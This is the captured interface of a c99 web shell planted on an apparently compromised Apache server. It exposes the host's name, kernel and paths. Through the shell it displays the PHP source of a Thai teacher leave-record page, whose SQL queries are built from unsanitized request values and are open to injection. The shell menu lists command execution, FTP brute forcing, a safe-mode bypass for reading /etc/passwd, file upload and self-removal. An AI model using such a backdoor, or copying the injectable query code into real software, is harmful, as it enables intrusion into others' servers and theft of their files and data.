!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage_22222/Develop_person_depart/   drwxr-xr-x
Free 52.62 GB of 127.8 GB (41.17%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     AbsentDetail.php (12.86 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
session_start
();

if (
session_is_registered("valid_user") && session_is_registered("Priority") )
{
    include(
"../include/FunctionDB.php");
    include(
"../include/Function.php");
    
    
ConnectDB();
    
    
$Username $valid_user;
    
    
$sql " SELECT * FROM personal_tb  WHERE  Username='$Username' ";
    
$resmysql_query($sql);
    
$rs mysql_fetch_array($res);
    
    
$strSQL " SELECT * FROM  history_absent_tb   WHERE   Absent_code='$Absent_code'   AND   Teacher_code='$Teacher_code'  AND  Year='$Year' ";
    
$result mysql_query($strSQL); 
    
$num mysql_num_rows($result);
?>
<meta http-equiv="Content-Type" content="text/html; charset=TIS-620">
<style type="text/css">
<!--
.style3 {font-size: 14px}
.style4 {color: #990000}
-->
</style>

<table width="592" border="0" align="center" cellpadding="0" cellspacing="0">
    <tr>
      <td width="592"><fieldset>
            <form id="form1" name="form1" method="post" action="">
              <table width="98%" border="0" align="center" cellpadding="0" cellspacing="0" bgcolor="#FFFFFF" style="background-color:#EEE; border:0px solid gray">
                <tr bgcolor="#CCCCFF">
                  <td height="25" colspan="6" align="center" bgcolor="#F0F0F0" ><font color="#000000" face="Tahoma">รายละเอียดวันลา</font></td>
                </tr>
                <tr bgcolor="#E6E6E6">
                  <td width="27" align="center" bgcolor="#eeeeee" class="style3" style="border:1px solid gray"><font color="#000000" face="Tahoma">No.</font></td>
                  <td width="86" align="center" bgcolor="#eeeeee" class="style3" style="border:1px solid gray"><font face="Tahoma">ปีงบประมาณ</font></td>
                  <td width="155" align="center" bgcolor="#eeeeee" class="style3" style="border:1px solid gray"><font color="#000000" face="Tahoma">วัน เดือน ปี ที่ลา </font></td>
                  <td width="113" align="center" bgcolor="#eeeeee" class="style3" style="border:1px solid gray"><font color="#000000" face="Tahoma">ถึง วัน เดือน ปี </font></td>
                  <td width="106" align="center" bgcolor="#eeeeee" class="style3" style="border:1px solid gray"><font color="#000066" face="Tahoma">ประเภทวันลา</font></td>
                  <td width="84" align="center" bgcolor="#eeeeee" class="style3" style="border:1px solid gray"><font color="#000000" face="Tahoma">จำนวนวันที่ลา</font></td>
                </tr>
                <?php
                $i 
1;
                 while(
$row mysql_fetch_array($result))
                 {
                
                     if(
$count==0)
                     {
                
?>
                <tr bgcolor="#F7F7F7" >
                  <td align="center" bgcolor="#FFFFFF" ><strong><font color="#996600" size="1" face="Tahoma">
                    <?=$i?>
                  </font></strong></td>
                  <td align="center" bordercolor="#EEEEEE" bgcolor="#FFFFFF" ><font color="#003366" size="2" face="Tahoma"><? echo $row[Year]?></font></td>
                  <td align="center" bordercolor="#EEEEEE" bgcolor="#FFFFFF" ><div align="center"><font color="#003366" size="2" face="Tahoma"> </font><font color="#990099" size="2" face="Tahoma"><a href="InstructorList.php?Project_code=<?=$row["Project_code"]?>"title="Click to see Detail" class="d"> </a></font><font color="#003366" size="2" face="Tahoma"> </font><font color="#003366" size="2" face="Tahoma">
                    <?php 
                $sday 
$row[Date_start];
                
$yearthai explode("-",$sday);
                
$day =      intval($yearthai[2]);
                
$month =  intval($yearthai[1]);
                
$year =     intval($yearthai[0]);     
                  
$m getThaiSubMonth($month);
                 echo
"$day"." "."$m"." "."$year";
                
?>
                  </font><font color="#990099" size="2" face="Tahoma"><a href="InstructorList.php?Orderlist_2=<?=$row["Orderlist_2"]?>"title="Click to see Detail" class="d"></a></font><font color="#003366" size="2" face="Tahoma"> </font><font color="#990099" size="2" face="Tahoma"><a href="ProjectList1.php?Orderlist_2=<?=$row["Orderlist_2"]?>"title="Click to see Detail" class="d"> </a></font><font color="#003366" size="2" face="Tahoma"> </font></div></td>
                  <td align="center" bordercolor="#EEEEEE" bgcolor="#FFFFFF" ><div align="center"><font color="#003366" size="2" face="Tahoma"> </font><font color="#990099" size="2" face="Tahoma"><a href="InstructorList.php?Project_code=<?=$row["Project_code"]?>"title="Click to see Detail" class="d"> </a></font><font color="#003366" size="2" face="Tahoma"> </font><font color="#003366" size="2" face="Tahoma">
                    <?php 
                    $sday 
$row[Date_finish];
                    
$yearthai explode("-",$sday);
                    
$day =      intval($yearthai[2]);
                    
$month =  intval($yearthai[1]);
                    
$year =     intval($yearthai[0]);     
                    
$m getThaiSubMonth($month);
                     echo
"$day"." "."$m"." "."$year";
                    
?>
                  </font><font color="#990099" size="2" face="Tahoma"><a href="InstructorList.php?Orderlist_2=<?=$row["Orderlist_2"]?>"title="Click to see Detail" class="d"></a></font><font color="#003366" size="2" face="Tahoma"> </font><font color="#990099" size="2" face="Tahoma"><a href="ProjectList1.php?Orderlist_2=<?=$row["Orderlist_2"]?>"title="Click to see Detail" class="d"> </a></font><font color="#003366" size="2" face="Tahoma"> </font></div></td>
                  <td align="center" bordercolor="#EEEEEE" bgcolor="#FFFFFF" ><div align="center"><font color="#990099" size="2" face="Tahoma"> <a href="ProjectDetail.php?Project_code=<?=$row["Project_code"]?>"title="Click to see Detail" class="d"> </a><a href="ProjectDetail1.php?Absent_code=<?=$row["Absent_code"]?>"title="Click to see Detail" class="d"></a></font> <font size="2" face="Tahoma">
                    <?php
                 $Absent_code 
=  $row["Absent_code"];
                 
$sql "Select * From history_absent01_tb Where Absent_code='$Absent_code'";
                  
$result1 mysql_query($sql) or die("Error".mysql_error());
                  
$rss mysql_fetch_array($result1);
                  echo 
"$rss[Absent_type] $rss[Teacher_lastname]";
                 
?>
                  </font></div></td>
                  <td bgcolor="#FFFFFF" ><div align="right"><font color="#993333" size="2" face="Tahoma"> <?echo number_format($row['Absent_times'],2,'.',','); ?> </font></div></td>
                </tr>
                <?
                    $count
=1;
                     }
                else
                {
                
?>
                <tr bgcolor="#FFFFFF">
                  <td align="center" bordercolor="#FFFFFF" bgcolor="#FFFFFF" ><strong><font color="#996600" size="1" face="Tahoma">
                    <?=$i?>
                  </font></strong></td>
                  <td align="center" bordercolor="#EEEEEE" bgcolor="#FFFFFF" ><font color="#003366" size="2" face="Tahoma"><? echo $row[Year]?></font></td>
                  <td align="center" bordercolor="#EEEEEE" bgcolor="#FFFFFF" ><div align="center"><font color="#003366" size="2" face="Tahoma"> </font><font color="#990099" size="2" face="Tahoma"><a href="InstructorList.php?Orderlist_2=<?=$row["Orderlist_2"]?>"title="Click to see Detail" class="d"> </a></font><font color="#003366" size="2" face="Tahoma"> </font><font color="#003366" size="2" face="Tahoma">
                    <?php 
                    $sday 
$row[Date_start];
                    
$yearthai explode("-",$sday);
                    
$day intval($yearthai[2]);
                    
$month =  intval($yearthai[1]);
                    
$year intval($yearthai[0]);     
                      
$m getThaiSubMonth($month);
                     echo
"$day"." "."$m"." "."$year";
                    
?>
                  </font><font color="#990099" size="2" face="Tahoma"><a href="InstructorList.php?Orderlist_2=<?=$row["Orderlist_2"]?>"title="Click to see Detail" class="d"></a></font><font color="#003366" size="2" face="Tahoma"> </font><font color="#990099" size="2" face="Tahoma"><a href="ProjectList1.php?Orderlist_2=<?=$row["Orderlist_2"]?>"title="Click to see Detail" class="d"> </a></font><font color="#003366" size="2" face="Tahoma"> </font></div></td>
                  <td align="center" bordercolor="#EEEEEE" bgcolor="#FFFFFF" ><div align="center"><font color="#003366" size="2" face="Tahoma"> </font><font color="#990099" size="2" face="Tahoma"><a href="InstructorList.php?Orderlist_2=<?=$row["Orderlist_2"]?>"title="Click to see Detail" class="d"> </a></font><font color="#003366" size="2" face="Tahoma"> </font><font color="#003366" size="2" face="Tahoma">
                    <?php 
                       $sday 
$row[Date_finish];
                    
$yearthai explode("-",$sday);
                    
$day =      intval($yearthai[2]);
                    
$month =  intval($yearthai[1]);
                    
$year =     intval($yearthai[0]);     
                          
//////////////////
                 //   $yearthai =  $day ;
                  
$m getThaiSubMonth($month);
                     echo
"$day"." "."$m"." "."$year";
                    
?>
                  </font><font color="#990099" size="2" face="Tahoma"><a href="InstructorList.php?Orderlist_2=<?=$row["Orderlist_2"]?>"title="Click to see Detail" class="d"></a></font><font color="#003366" size="2" face="Tahoma"> </font><font color="#990099" size="2" face="Tahoma"><a href="ProjectList1.php?Orderlist_2=<?=$row["Orderlist_2"]?>"title="Click to see Detail" class="d"> </a></font><font color="#003366" size="2" face="Tahoma"> </font></div></td>
                  <td align="center" bordercolor="#EEEEEE" bgcolor="#FFFFFF" ><div align="center"><font color="#990099" size="2" face="Tahoma"> <a href="ProjectDetail.php?Project_code=<?=$row["Project_code"]?>"title="Click to see Detail" class="d"> </a><a href="ProjectDetail1.php?Absent_code=<?=$row["Absent_code"]?>"title="Click to see Detail" class="d"></a></font> <font color="#990099" size="2" face="Tahoma"><a href="ProjectDetail1.php?Absent_code=<?=$row["Absent_code"]?>"title="Click to see Detail" class="d"></a></font><font size="2" face="Tahoma">
                    <?php
         $Absent_code 
=  $row["Absent_code"];
         
$sql "Select * From history_absent01_tb Where Absent_code='$Absent_code'";
          
$result1 mysql_query($sql) or die("Error".mysql_error());
          
$rss mysql_fetch_array($result1);
          echo 
"$rss[Absent_type] $rss[Teacher_lastname]";
         
?>
                  </font></div></td>
                  <td bordercolor="#FFFFFF" bgcolor="#FFFFFF" ><div align="right"><font color="#993333" size="2" face="Tahoma"><?echo number_format($row['Absent_times'],2,'.',','); ?></font></div></td>
                </tr>
                <?
$count
=0;
}
$i++;
 }    
?>
                <tr bgcolor="#FFFFFF">
                  <td colspan="6" align="center" bgcolor="#FFFFFF" ><table width="100%" border="0" cellspacing="0" cellpadding="0">
                      <tr>
                        <td align="right" bgcolor="#FFFFFF"><span class="style4">รวมจำนวนวันที่ใช้ไป</span></td>
                        <td bgcolor="#FFFFFF"><div align="right"><strong><font color="#993333" size="2" face="Tahoma">
                            <?php         
          
// $Orderlist_2 = $rs["Orderlist_2"];
          
$sql1 "Select Sum(Absent_times) as SumB1 From history_absent_tb Where  Year='$Year'  and Teacher_code='$Teacher_code' and Absent_code='$Absent_code' ";
          
$result1 mysql_query($sql1) or die("Erro".mysql_error());
          
$rss1 mysql_fetch_array($result1);
           echo 
number_format($rss1[SumB1],2,'.',',');
           
//echo"$rss1[SumC1]";
           
?>
                        </font></strong></div></td>
                      </tr>
                      <tr>
                        <td align="right" bgcolor="#FFFFFF" class="style4">วันลาตามสิทธิ์</td>
                        <td bgcolor="#FFFFFF"><div align="right"><strong><font color="#993333" size="2" face="Tahoma">
                            <?php         
           
//$Orderlist_2 = $rss["Orderlist_2"];
          
$sql2 "Select * From personal_tb Where  Teacher_code='$Teacher_code' ";
          
$result2 mysql_query($sql2) or die("Erro".mysql_error());
          
$rss2 mysql_fetch_array($result2);
          echo 
number_format($rss2[Absent_01],2,'.',',');
        
// echo"$rss2[Budget_use]";
           
?>
                        </font></strong></div></td>
                      </tr>
                      <tr>
                        <td width="89%" align="right" bgcolor="#FFFFFF" class="style4">คงเหลือวันลา</td>
                        <td width="11%" bgcolor="#FFFFFF"><div align="right"><font color="#FF0000" size="2" face="Tahoma">
                            <?php
    $Delete3 
$rss2[Absent_01] - $rss1[SumB1] ;
    echo 
number_format($Delete3,2,'.',',');
    
// echo"$Del4";
     
      
?>
                        </font></div></td>
                      </tr>
                  </table></td>
                </tr>
                <tr bgcolor="#CCCCFF">
                  <td colspan="6" align="center" bgcolor="#FFFFFF" >ทั้งหมด <? echo $num?> รายการ</td>
                </tr>
                <tr bgcolor="#CCCCFF">
                  <td colspan="6" align="center" bgcolor="#FFFFFF" >&nbsp;</td>
                </tr>
              </table>
            </form>
        
            
      </fieldset></td>
    </tr>
    <tr>
      <td height="35" align="center"><input type="button" name="close" value="ปิดหน้าต่าง" onclick="window.close()" /></td>
  </tr>
</table>
<?php 
}
else
{
       echo
"<meta http-equiv=\"refresh\" content=\"3;URL=../login.php\">\n";
       echo
"Please Login ";
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.008 ]--